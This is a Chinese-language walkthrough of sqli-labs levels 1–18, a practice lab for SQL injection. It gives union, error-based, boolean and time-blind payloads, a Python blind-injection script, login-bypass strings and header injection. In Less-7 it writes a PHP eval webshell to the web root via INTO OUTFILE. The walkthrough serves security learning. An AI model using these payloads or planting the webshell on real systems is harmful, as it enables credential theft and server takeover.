sqli-labs靶场 (level 1-18)

2023-05-16 10:52:07 浏览数 (1)

Page-1(Basic Challenges)

Less-1(GET-Error based-Single quotes-String)

这是一个单引号闭合的字符型sql注入漏洞,后台sql查询语句为

代码语言:javascript复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们首先传入?id=1看看回显,然后加引号闭合前面的单引号构造恶意语句,这里会回显语法错误,因为后面还有一个单引号没有被闭合,那么我们可以通过注释符忽略后面语句;

常见的注释有“– ”、“– ”、“#”,特别要注意的是“– ”这后面是一个空格少了空格是达不到注释效果的;

那么这里是GET请求,一般用– 进行注释即可,那我们传入

代码语言:javascript复制
?id=1'-- 	

然后我们利用order by函数判断列数

代码语言:javascript复制
?id=1' order by 4--  //回显Unknown column '4' in 'order clause'
?id=1' order by 3--  //回显正常,说明列数是3

然后我们使用联合注入

代码语言:javascript复制
?id=1' union select 1,2,3--  //这里1,2,3是为了找出回显点,来显示我们想要的敏感信息

然后你会发现没有显示该有的1或2或3,这是因为id=1的查询结果占用了显示的位置,我们把id改成不存在的数据即可,即?id=-1

那么我们可以看到回显的是2和3,我们就在2或3这里动手脚

爆数据库

代码语言:javascript复制
?id=-1' union select 1,2,database()-- 

爆表名

代码语言:javascript复制
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- 

爆列名

代码语言:javascript复制
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- 

爆字段

代码语言:javascript复制
?id=-1' union select 1,2,group_concat(username,'%',password) from users-- 
//concat()是连接字符串

这样我们就拿到后台密码了。

Less-2(GET-Error based-Intiger based)

无闭合的数字型sql注入漏洞,后台sql查询语句为

代码语言:javascript复制
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))是相同的,payload把用于闭合的单引号删去即可

Less-3(GET-Error based-Single quotes with twist-string)

单引号和括号闭合的sql注入漏洞,后台sql查询语句为

代码语言:javascript复制
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))一致,只是换了一种闭合方式,payload把用于闭合的单引号换成单引号和括号即可

Less-4(GET-Error based-Double Quotes-String)

双引号闭合的sql注入漏洞,后台sql查询语句为

代码语言:javascript复制
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))一致,只是换了一种闭合方式,payload把用于闭合的单引号换成双引号即可

Less-5(GET-Double Injection-Single Quotes-String)

双注入单引号闭合字符型sql注入漏洞,后台查询语句为

代码语言:javascript复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$row = mysql_fetch_array($result);
#这里省略了一些语句
	print_r(mysql_error());

我们可以采用updatexml报错注入,也可以用盲注,盲注耗时较长,尽量不选用,关于substr()函数的用法可以看这个博客

代码语言:javascript复制
?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --    //在database()处替换sql语句最后爆出敏感信息

//当内容不能被完全显示时可以用substr()函数截取
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) -- 
Less-6(GET-Double Injection-Double Quotes-String)

双注入双引号闭合字符型sql注入漏洞;

和[Less-5](#Less-5(GET-Double Injection-Single Quotes-String))思路一样,把单引号替换即可

Less-7(GET-Dump into outfile-String)

导出文件字符型注入漏洞;

首先是闭合方式,这里我们可以用时间盲注来猜解类型

代码语言:javascript复制
?id=1')) and sleep(5) --  //这里发现网页的返回有5s的延迟,说明闭合方式正确

这里回显提示我们“Use outfile…”,这里就是这道题核心,当然也可以使用布尔盲注;

因为false时回显信息不同,所以我们先用order by num判断列数

代码语言:javascript复制
?id=1')) order by 3-- 

下面就要将一句话木马通过outfile传入网站目录,然后连上去

在这之前要了解secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 此开关默认为NULL,即不允许导入导出。 解决问题: windows下:修改my.ini 在[mysqld]内加入secure_file_priv = linux下:修改my.cnf 在[mysqld]内加入secure_file_priv = MYSQL新特性secure_file_priv对读写文件的影响 然后重启mysql,再查询secure_file_priv

因此我们在使用outfile注入的时候,首先要知道参数secure_file_priv是否有指定的目录,我们只能将webshell写入到指定目录下面。同时,执行读写的权限很重要,一般都要是root

代码语言:javascript复制
?id=1')) and length(@@secure_file_priv)=0 --  //这里采用布尔盲注猜secure_file_priv的值,如果长度不是零就猜出长度,配合substr()和acill()求出

注意:这里的目录我们要用斜杠/或者\,因为windwos路径默认使用的是反斜杠,但是这里如果使用单个反斜杠注入会无效

代码语言:javascript复制
?id=1')) union select 1,2, "<?php @eval($_POST[ph0ebus]);?>" into outfile "D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7" -- 

然后蚁剑连接即可(这一关参考了一位师傅的解)

具体导入导出文件的sql注入原理可参考这篇文章

Less-8(GET-Blind-Boolian based-Single Quotes)

传入?id=1回显正常,传入?id=1’回显改变,无错误信息,有两种页面,我们可以使用布尔盲注提取敏感信息

我们可以编写python脚本,也可以使用Burp Suite的Intruder模块进行爆破

代码语言:javascript复制
?id=1'and length((select database()))>9-- 
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and (substr((select database()),1,1))>'a'-- 
#substr("78909",1,1)=7 substr(a,b,c),a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13-- 
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99-- 
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20-- 
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99-- 
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109-- 
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50-- 
逐一检测内容。
Less-9(GET-Blind-Time based-Single Quotes)

基于时间的盲注,用于在正常和错误页面无明显变化的时候,这时候用不了布尔盲注,只能通过延时时间达到提取信息的目的

下面给出了时间盲注的部分python脚本,可供参考

代码语言:javascript复制
import requests
import time

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    Url = 'http://127.0.0.1/sqli-labs-master/Less-8/?id=1" and if(length(database())>{0},1,sleep(3))-- '
    UrlFormat = Url.format(l)      #format()函数使用
    start_time0 = time.time()  		#发送请求前的时间赋值
    requests.get(UrlFormat,headers=headers)
    if  time.time() - start_time0 > 2:	#判断正确的数据库长度
            print('database length is '   str(l))
            global length
            length = l	#把数据库长度赋值给全局变量
            break
    else:
        pass
for i in range(1,length 1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = 'http://127.0.0.1/sqli-labs-master/Less-8/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))-- '
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2:
            database =char
            print('database: ',database)
            break
        else:
            pass
print('database is '   database)
Less-10(GET-Blind-Time based-double quotes)

和Less-9原理一致,只是闭合方式不同,将单引号改为双引号就一样了

Less-11(Error Based-Single quotes-String)

打开后发现是一个登录页面,先用万能密码admin' or 1#试一试,,成功登录,用户是Dump

对这个注入点开始操作

首先用Burp Suite拦截请求,修改内容,防止内容被编码无法达到注入效果

代码语言:javascript复制
uname=admin'order by 2-- &passwd=123&submit=Submit
#接下来使用联合注入查询即可
uname=aaa'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- &passwd=123&submit=Submit
uname=aaa'union select 1,group_concat(username,'$',password) from users-- &passwd=123&submit=Submit
Less-12(POST-Error Based-Double quotes-String-with twist)

和Less-11一样是登录页面,输入adminadmin'发现页面无变化,试试其他闭合方式,输入admin"后回显错误信息

代码语言:javascript复制
You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near '"admin"")  and password=("") LIMIT 0,1' at line 1

由此可以看出其闭合方式为"),其他和Less-11一样的操作了

Less-13(POST-Double Injection-Single quotes-String-with twist)

同样是登录界面,先输入admin’试试,返回错误信息

代码语言:javascript复制
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1

由此可知闭合方式为'),用万能密码admin') or 1#发现页面无回显,可以采用报错注入试试

代码语言:javascript复制
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) -- 

uname=admin') and extractvalue(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e)) -- 
Less-14(POST-Double Injection-Single quots-String-with twist)

和Less-13一样,只是闭合方式是双引号

一样使用报错注入即可

Less-15(POST-Blind-Boolian/time Based-Single quotes)

使用万能密码admin' or 1#试出闭合方式为单引号,直接时间盲注即可。

Less-16(POST-Blind-Boolian/time Based-Double quotes)

和Less-15操作一样,只是闭合方式为双引号

Less-17(POST-Update Query-Error Based-String)

这道题先用Dumb用户找出注入点

代码语言:javascript复制
uname=Dumb'&passwd=123
uname=Dumb&passwd=123
uname=Dumb&passwd=123'
uname=Dumb&passwd=123"

发现passwd可注入,返回错误信息 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Dumb'' at line 1

很容易发现这是一个单引号闭合,再用passwd=123'#试一试,成功,发现注入点

然后开始联合注入即可

Less-18(Header Injection-Uagenr field-Error based)

基于用户代理的header注入,注入点在User-Agent

Burp Suite拦截后修改UA(User-Agent)头为1' ,根据报错信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1可知是单引号闭合,构造语句1'and payload and'即可

这题没有直接回显,可以使用extractive报错注入

代码语言:javascript复制
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  and '
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  and ' 
' and extractvalue(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e)) and '
//当内容不能被完全显示时可以用substr()函数截取

Less-19()

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞